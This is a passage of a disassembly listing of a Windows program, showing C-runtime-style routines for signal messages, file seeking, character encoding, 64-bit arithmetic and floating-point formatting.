		add	eax, edx
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_40C0FD
		push	offset dword_411328
		push	offset aSignal	; "signal #"
		call	sub_40D190
		add	esp, 8


loc_40C147:				; CODE XREF: sub_40C050+71j
					; sub_40C050+7Dj ...
		push	offset dword_411328
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40D190
		add	esp, 8
		push	offset dword_411328
		push	offset aTerminating ; "	-- terminating\n"
		call	sub_40D190
		add	esp, 8
		push	1
		call	sub_407D70
		pop	ecx


loc_40C172:				; CODE XREF: sub_40C050+2Aj
					; sub_40C050+49j
		xor	eax, eax


loc_40C174:				; CODE XREF: sub_40C050+22j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C180	proc near		; CODE XREF: sub_40AA00+4Bp
					; sub_40BC70+306p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_40AEF0
		pop	ecx
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C1A9
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C1F2
; ---------------------------------------------------------------------------


loc_40C1A9:				; CODE XREF: sub_40C180+17j
		mov	eax, [ebp+arg_8]
		push	eax
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	edi
		call	dword_411E18	; SetFilePointer
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C1D5
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_4085D0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C1F2
; ---------------------------------------------------------------------------


loc_40C1D5:				; CODE XREF: sub_40C180+41j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FDh
		mov	eax, esi


loc_40C1F2:				; CODE XREF: sub_40C180+27j
					; sub_40C180+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40C180	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A8C
		jnb	short loc_40C22B
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40C23B


loc_40C22B:				; CODE XREF: DMN0:0040C20Ej
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C25E
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: DMN0:0040C229j
		push	ebx
		call	sub_40B010
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_40C180
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_40B070
		pop	ecx
		mov	eax, esi


loc_40C25E:				; CODE XREF: DMN0:0040C239j
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C270	proc near		; CODE XREF: sub_40B240+9Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		cmp	off_411928, 0
		jnz	loc_40C357
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_40C2AB
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_4101BC
		mov	ebx, dword_4101C0
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_40C4AD
; ---------------------------------------------------------------------------


loc_40C2AB:				; CODE XREF: sub_40C270+1Ej
		test	[ebp+arg_4], 0FF80h
		jnz	short loc_40C2CB
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		mov	[eax], dl
		mov	[ebp+var_4], 0
		jmp	short loc_40C344
; ---------------------------------------------------------------------------


loc_40C2CB:				; CODE XREF: sub_40C270+41j
		test	[ebp+arg_4], 0F800h
		jnz	short loc_40C2F4
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 6
		or	edx, 0C0h
		mov	[eax], dl
		mov	[ebp+var_4], 1
		jmp	short loc_40C344
; ---------------------------------------------------------------------------


loc_40C2F4:				; CODE XREF: sub_40C270+61j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 0Ch
		and	edx, 0Fh
		or	edx, 0E0h
		mov	[eax], dl
		mov	[ebp+var_4], 2
		jmp	short loc_40C344
; ---------------------------------------------------------------------------


loc_40C318:				; CODE XREF: sub_40C270+D8j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_4]
		dec	edx
		mov	[ebp+var_4], edx
		movzx	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		lea	ecx, [edx+edx*2]
		add	ecx, ecx
		mov	edx, [ebp+var_C]
		sar	edx, cl
		and	edx, 3Fh
		or	edx, 80h
		mov	[eax], dl


loc_40C344:				; CODE XREF: sub_40C270+59j
					; sub_40C270+82j ...
		cmp	[ebp+var_4], 0
		jg	short loc_40C318
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	eax, edx
		jmp	loc_40C4AD
; ---------------------------------------------------------------------------


loc_40C357:				; CODE XREF: sub_40C270+Ej
		mov	eax, [ebp+arg_8]
		movzx	eax, word ptr [eax+6]
		mov	byte ptr [ebp+var_4+3],	al
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_40C3A2
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_4101BC


loc_40C385:				; DATA XREF: DMN1:00450CFCo
		mov	ebx, dword_4101C0
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411928
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_40C4AD
; ---------------------------------------------------------------------------


loc_40C3A2:				; CODE XREF: sub_40C270+10Aj
					; sub_40C270+229j
		mov	al, byte ptr [ebp+var_4+3]
		cmp	al, 10h
		jnb	short loc_40C3E8
		movzx	eax, al
		mov	eax, off_411968[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jz	short loc_40C3E8
		movzx	eax, byte_4118A4
		cmp	[ebp+var_8], eax
		jge	short loc_40C3E8
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_40C3E8
		movzx	eax, byte ptr [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_12], ax
		test	ax, ax
		jnz	short loc_40C3FB


loc_40C3E8:				; CODE XREF: sub_40C270+137j
					; sub_40C270+148j ...
		call	sub_408730
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_40C4AD
; ---------------------------------------------------------------------------


loc_40C3FB:				; CODE XREF: sub_40C270+176j
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	byte ptr [ebp+var_4+3],	dl
		test	eax, 8000h
		jz	short loc_40C427
		movzx	eax, [ebp+arg_4]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_12]
		or	eax, edx
		mov	[ebp+arg_4], ax


loc_40C427:				; CODE XREF: sub_40C270+1A2j
		test	[ebp+var_12], 1000h
		jz	short loc_40C449
		movzx	eax, [ebp+arg_4]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+arg_4], ax


loc_40C449:				; CODE XREF: sub_40C270+1BDj
		test	[ebp+var_12], 2000h
		jz	short loc_40C48D
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		test	[ebp+var_12], 0FFh
		jz	short loc_40C46B
		movzx	edx, [ebp+var_12]
		mov	[ebp+var_1C], edx
		jmp	short loc_40C472
; ---------------------------------------------------------------------------


loc_40C46B:				; CODE XREF: sub_40C270+1F0j
		movzx	edx, [ebp+arg_4]
		mov	[ebp+var_1C], edx


loc_40C472:				; CODE XREF: sub_40C270+1F9j
		mov	edx, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax], dl
		test	dl, dl
		jnz	short loc_40C486
		mov	[ebp+var_10], 1


loc_40C486:				; CODE XREF: sub_40C270+20Dj
		mov	[ebp+var_C], 0


loc_40C48D:				; CODE XREF: sub_40C270+1DFj
		test	[ebp+var_12], 4000h
		jnz	short loc_40C49F
		cmp	[ebp+var_10], 0
		jz	loc_40C3A2


loc_40C49F:				; CODE XREF: sub_40C270+223j
		mov	edx, [ebp+arg_8]
		movzx	eax, byte ptr [ebp+var_4+3]
		mov	[edx+6], ax
		mov	eax, [ebp+var_8]


loc_40C4AD:				; CODE XREF: sub_40C270+36j
					; sub_40C270+E2j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C4C0	proc near		; CODE XREF: sub_40B390+CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_4]
		or	eax, eax
		jnz	short loc_40C4E1
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_C]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_8]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_40C531
; ---------------------------------------------------------------------------


loc_40C4E1:				; CODE XREF: sub_40C4C0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_C]
		mov	eax, [esp+4+arg_8]


loc_40C4EF:				; CODE XREF: sub_40C4C0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40C4EF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_4]
		xchg	eax, ecx
		mul	[esp+4+arg_0]
		add	edx, ecx
		jb	short loc_40C51A
		cmp	edx, [esp+4+arg_C]
		ja	short loc_40C51A
		jb	short loc_40C522
		cmp	eax, [esp+4+arg_8]
		jbe	short loc_40C522


loc_40C51A:				; CODE XREF: sub_40C4C0+4Aj
					; sub_40C4C0+50j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]


loc_40C522:				; CODE XREF: sub_40C4C0+52j
					; sub_40C4C0+58j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40C531:				; CODE XREF: sub_40C4C0+1Fj
		pop	ebx
		retn	10h
sub_40C4C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C540	proc near		; CODE XREF: sub_40B390+116p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_40C561
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_40C561:				; CODE XREF: sub_40C540+Bj
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_40C57D
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_40C57D:				; CODE XREF: sub_40C540+27j
		or	eax, eax
		jnz	short loc_40C599
		mov	ecx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40C5DA
; ---------------------------------------------------------------------------


loc_40C599:				; CODE XREF: sub_40C540+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_C]
		mov	eax, [esp+0Ch+arg_8]


loc_40C5A7:				; CODE XREF: sub_40C540+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_40C5A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_4]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_40C5D5
		cmp	edx, [esp+0Ch+arg_C]
		ja	short loc_40C5D5
		jb	short loc_40C5D6
		cmp	eax, [esp+0Ch+arg_8]
		jbe	short loc_40C5D6


loc_40C5D5:				; CODE XREF: sub_40C540+85j
					; sub_40C540+8Bj
		dec	esi


loc_40C5D6:				; CODE XREF: sub_40C540+8Dj
					; sub_40C540+93j
		xor	edx, edx
		mov	eax, esi


loc_40C5DA:				; CODE XREF: sub_40C540+57j
		dec	edi
		jnz	short loc_40C5E4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40C5E4:				; CODE XREF: sub_40C540+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_40C540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C5F0	proc near		; CODE XREF: sub_40B390+13Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		or	ecx, eax
		mov	ecx, [esp+arg_0]
		jnz	short loc_40C609
		mov	eax, [esp+arg_8]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_40C609:				; CODE XREF: sub_40C5F0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	[esp+4+arg_4]
		add	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_40C5F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C630	proc near		; CODE XREF: sub_40B5D0+5p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		movzx	eax, word ptr [ecx+6]
		and	eax, 7FF0h
		cmp	eax, 7FF0h
		jnz	short loc_40C673
		test	word ptr [ecx+6], 0Fh
		jnz	short loc_40C660
		cmp	word ptr [ecx+4], 0
		jnz	short loc_40C660
		cmp	word ptr [ecx+2], 0
		jnz	short loc_40C660
		cmp	word ptr [ecx],	0
		jz	short loc_40C667


loc_40C660:				; CODE XREF: sub_40C630+1Aj
					; sub_40C630+21j ...
		mov	edx, 2
		jmp	short loc_40C66C
; ---------------------------------------------------------------------------


loc_40C667:				; CODE XREF: sub_40C630+2Ej
		mov	edx, 1


loc_40C66C:				; CODE XREF: sub_40C630+35j
		mov	ax, dx
		movsx	eax, ax
		retn
; ---------------------------------------------------------------------------


loc_40C673:				; CODE XREF: sub_40C630+12j
		movzx	eax, word ptr [ecx+6]
		test	eax, 0FFFF7FFFh
		jnz	short loc_40C692
		cmp	word ptr [ecx+4], 0
		jnz	short loc_40C692
		cmp	word ptr [ecx+2], 0
		jnz	short loc_40C692
		cmp	word ptr [ecx],	0
		jz	short loc_40C696


loc_40C692:				; CODE XREF: sub_40C630+4Cj
					; sub_40C630+53j ...
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40C696:				; CODE XREF: sub_40C630+60j
		xor	eax, eax
		retn
sub_40C630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6A0	proc near		; CODE XREF: sub_40B5E0+5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40D280
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_40C6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6C0	proc near		; CODE XREF: sub_40B5E0+200p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40D320
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_40C6C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C6E0	proc near		; CODE XREF: sub_40B5E0+20Bp
					; sub_40B5E0+498p

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		sub	esp, 0Ch
		fstcw	[esp+0Ch+var_2]
		mov	ax, [esp+0Ch+var_2]
		or	ah, 0Ch
		mov	[esp+0Ch+var_4], ax
		fldcw	[esp+0Ch+var_4]
		fistp	[esp+0Ch+var_C]
		fldcw	[esp+0Ch+var_2]
		mov	eax, dword ptr [esp+0Ch+var_C]
		mov	edx, dword ptr [esp+0Ch+var_C+4]
		add	esp, 0Ch
		retn
sub_40C6E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C710	proc near		; CODE XREF: sub_40B5E0+4D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C740	proc near		; CODE XREF: sub_40B5E0+64Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	eax, off_4119D4
		mov	al, [eax]
		mov	[ebp+var_1], al
		cmp	[ebp+arg_C], 0
		jg	short loc_40C765
		mov	[ebp+arg_C], 1
		mov	[ebp+arg_8], offset dword_4101C8


loc_40C765:				; CODE XREF: sub_40C740+16j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_40C799
		cmp	al, 46h
		jz	short loc_40C799
		cmp	al, 67h
		jz	short loc_40C77C
		cmp	al, 47h
		jnz	loc_40C9E3


loc_40C77C:				; CODE XREF: sub_40C740+32j
		mov	ax, [ebp+arg_10]
		cmp	ax, 0FFFCh
		jl	loc_40C9E3
		movsx	eax, ax
		mov	edx, [ebp+arg_0]
		cmp	eax, [edx+2Ch]
		jge	loc_40C9E3


loc_40C799:				; CODE XREF: sub_40C740+2Aj
					; sub_40C740+2Ej
		add	[ebp+arg_10], 1
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_40C7A9
		cmp	al, 47h
		jnz	short loc_40C7E4


loc_40C7A9:				; CODE XREF: sub_40C740+63j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jnz	short loc_40C7C7
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_40C7C7
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_40C7C7:				; CODE XREF: sub_40C740+72j
					; sub_40C740+7Bj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_10]
		sub	edx, ecx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_40C7E4
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_40C7E4:				; CODE XREF: sub_40C740+67j
					; sub_40C740+98j
		cmp	[ebp+arg_10], 0
		jg	loc_40C8B0
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C816
		test	word ptr [eax+38h], 8
		jz	short loc_40C82E


loc_40C816:				; CODE XREF: sub_40C740+CCj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_40C82E:				; CODE XREF: sub_40C740+D4j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		neg	edx
		cmp	[eax+2Ch], edx
		jge	short loc_40C848
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		neg	eax
		mov	[ebp+arg_10], ax


loc_40C848:				; CODE XREF: sub_40C740+FAj
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		neg	eax
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+2Ch]
		add	edx, ecx
		mov	[eax+2Ch], edx
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_40C879
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_40C879:				; CODE XREF: sub_40C740+12Dj
		movsx	eax, [ebp+arg_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+24h], eax
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+28h], edx
		jmp	loc_40CBD5
; ---------------------------------------------------------------------------


loc_40C8B0:				; CODE XREF: sub_40C740+A9j
		mov	ax, [ebp+arg_10]
		cmp	[ebp+arg_C], ax
		jge	short loc_40C92A
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		movsx	ecx, [ebp+arg_C]
		sub	eax, ecx
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C907
		test	word ptr [eax+38h], 8
		jz	short loc_40C91C


loc_40C907:				; CODE XREF: sub_40C740+1BDj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+24h]


loc_40C91C:				; CODE XREF: sub_40C740+1C5j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		mov	[eax+28h], edx
		jmp	loc_40CBD5
; ---------------------------------------------------------------------------


loc_40C92A:				; CODE XREF: sub_40C740+178j
		movsx	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	ax, [ebp+arg_10]
		sub	[ebp+arg_C], ax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C96F
		test	word ptr [eax+38h], 8
		jz	short loc_40C987


loc_40C96F:				; CODE XREF: sub_40C740+225j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_40C987:				; CODE XREF: sub_40C740+22Dj
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_40C99D
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_40C99D:				; CODE XREF: sub_40C740+251j
		movsx	eax, [ebp+arg_C]
		push	eax
		movsx	eax, [ebp+arg_10]
		mov	edx, [ebp+arg_8]
		add	eax, edx
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx
		jmp	loc_40CBD5
; ---------------------------------------------------------------------------


loc_40C9E3:				; CODE XREF: sub_40C740+36j
					; sub_40C740+44j ...
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_40C9EE
		cmp	al, 47h
		jnz	short loc_40CA39


loc_40C9EE:				; CODE XREF: sub_40C740+2A8j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_40CA0C
		test	word ptr [eax+38h], 8
		jnz	short loc_40CA0C
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_40CA0C:				; CODE XREF: sub_40C740+2B8j
					; sub_40C740+2C0j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		dec	edx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_40CA24
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_40CA24:				; CODE XREF: sub_40C740+2D8j
		xor	eax, eax
		cmp	[ebp+arg_4], 67h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 45h
		mov	[ebp+arg_4], al
		jmp	short loc_40CA4F
; ---------------------------------------------------------------------------


loc_40CA39:				; CODE XREF: sub_40C740+2ACj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_40CA45
		mov	[ebp+arg_4], 70h
		jmp	short loc_40CA4F
; ---------------------------------------------------------------------------


loc_40CA45:				; CODE XREF: sub_40C740+2FDj
		cmp	[ebp+arg_4], 41h
		jnz	short loc_40CA4F
		mov	[ebp+arg_4], 50h


loc_40CA4F:				; CODE XREF: sub_40C740+2F7j
					; sub_40C740+303j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	[ebp+arg_8], ecx
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+10h]
		mov	al, [eax]
		mov	[ecx+edx], al
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40CA80
		test	word ptr [eax+38h], 8
		jz	short loc_40CA98


